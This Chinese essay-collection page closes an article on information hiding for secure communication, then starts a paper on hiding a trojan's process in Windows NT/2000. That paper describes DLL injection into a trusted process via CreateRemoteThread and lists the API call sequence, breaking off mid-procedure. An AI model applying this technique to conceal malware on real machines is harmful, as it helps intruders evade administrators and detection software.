(1)数据保密。在公司之间进行谈判时,可能会利用网络传递一些敏感的信息,比如双方的协议、合同、报价等重要文件,包括数字签名,为了保护这些敏感信息的安全性,可以把这些信息以隐藏的形式传递给对方,这样我们就可以在非相关人员难以发觉的状态下完成彼此信息交流。

(2)数据的不可抵赖性。在网络上进行谈判,签订协议等行为,由于不能互相见面,为保证双方不能否认自己做过的承诺并且接受对方传递的条款,需要在传递的信息中加入签名水印,确认其行为目的。

(3)数据的完整性。为保证我们接收到的信息是真实的,没有在网络传递的过程中被篡改,可以在传递的具体多媒体数据中嵌入一个完整信息,收到多媒体数据后可以对完整信息进行提取,用于确定此多媒体数据是否被篡改。

信息隐藏技术是目前学术界倍受关注的一个热点领域,由于现代通信技术的爆炸式发展,互联网飞速普及,每时每刻都有海量的信息在网络上传输,对敏感信息安全进行保护变的更加具有现实意义。在众多研究人员的不懈努力下,信息隐藏技术取得很多的成果,但是,信息隐藏技术作为一个跨学科的技术体系,我们对它的研究还不是很完善,还有许多的问题没有解决。信息隐藏技术的成熟性、实用性还与密码加密的网络传输技术相比较,还有很大差距。但是,其潜在价值是无法估量的,在未来甚至是不可不取代的,我们相信,随着技术的进一步发展,信息隐藏技术将涌现出更多的思路和办法,将对信息安全系统的未来扮演重要的角色。

参考文献:

[1]王育民,张彤,黄继武.信息隐藏――理论与技术[M].北京清华大学出版社,2006.

隐藏技术论文篇12

本文分析了Windows NT/2000系统下进程隐藏的基本技术和方法,并着重讨论运用线程嫁接技术如何实现Windows NT/2000系统中进程的隐藏。

1 基本原理

在WIN95/98中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在Windows NT/2000中却完全不同, 无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能躲过Windows NT/2000的任务管理器,Windows NT/2000的任务管理器均能轻松显示出木马进程,难道在Windows NT/2000下木马真的再也无法隐藏自己的进程了?我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时都有一个共同点,会生成一个独立的进程,寻找特定进程是我们发现木马的方法之一,随着入侵检测软件的不断发展,关联进程和SOCKET已经成为流行的技术,假设一个木马在运行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完全失败。在Windows NT/2000下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,第一是让系统管理员看不见你的进程;第二是不使用进程。本文以第二种方法为例加以讨论,其基本原理是将自已的木马以线程方式嫁接于远程进程之中,远程进程则是合法的用户程序,这样用户管理者看到的只是合法进程,而无法发现木马线程的存在,从而达到隐藏的目的。

2 实现方法

为了弄清实现方法,我们必须首先了解Windows系统的另一种"可执行文件"----DLL,DLL是Dynamic Link Library(动态链接库)的缩写,DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。因为DLL文件不能独立运行,所以在进程列表中并不会出现DLL,假设我们编写了一个木马DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马DLL,如果那个进程是可信进程,(例如浏览器程序IEXPLORE.EXE,没人会怀疑它是木马吧?)那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员,也就达到了隐藏的目的。

运行DLL方法有多种,但其中最隐蔽的方法是采用动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。理论上来说,在Windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行操作的,但是实际上,我们仍然可以利用种种方法进入并操作进程的私有内存。动态嵌入技术有多种如:窗口Hook、挂接API、远程线程等,这里介绍一下远程线程技术,它只要有基本的进线程和动态链接库的知识就可以很轻松地完成动态嵌入。

远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。

3 实施步骤

1) 用Process32Next()函数找到宿主进程,获取宿主进程ID,并用

OpenProcess()函数打开宿主进程。

2) 用VirtualAllocEx()函数分配远程进程地址空间中的内存。

3) 用WriteProcessMemory()函数将待隐藏的DLL的路径名。

4) 拷贝到步骤二已经分配的内存中。

5) 用GetProcAddress()函数获取LoadlibraryA()函数的实地址(在kernel32.dll中)。

友情链接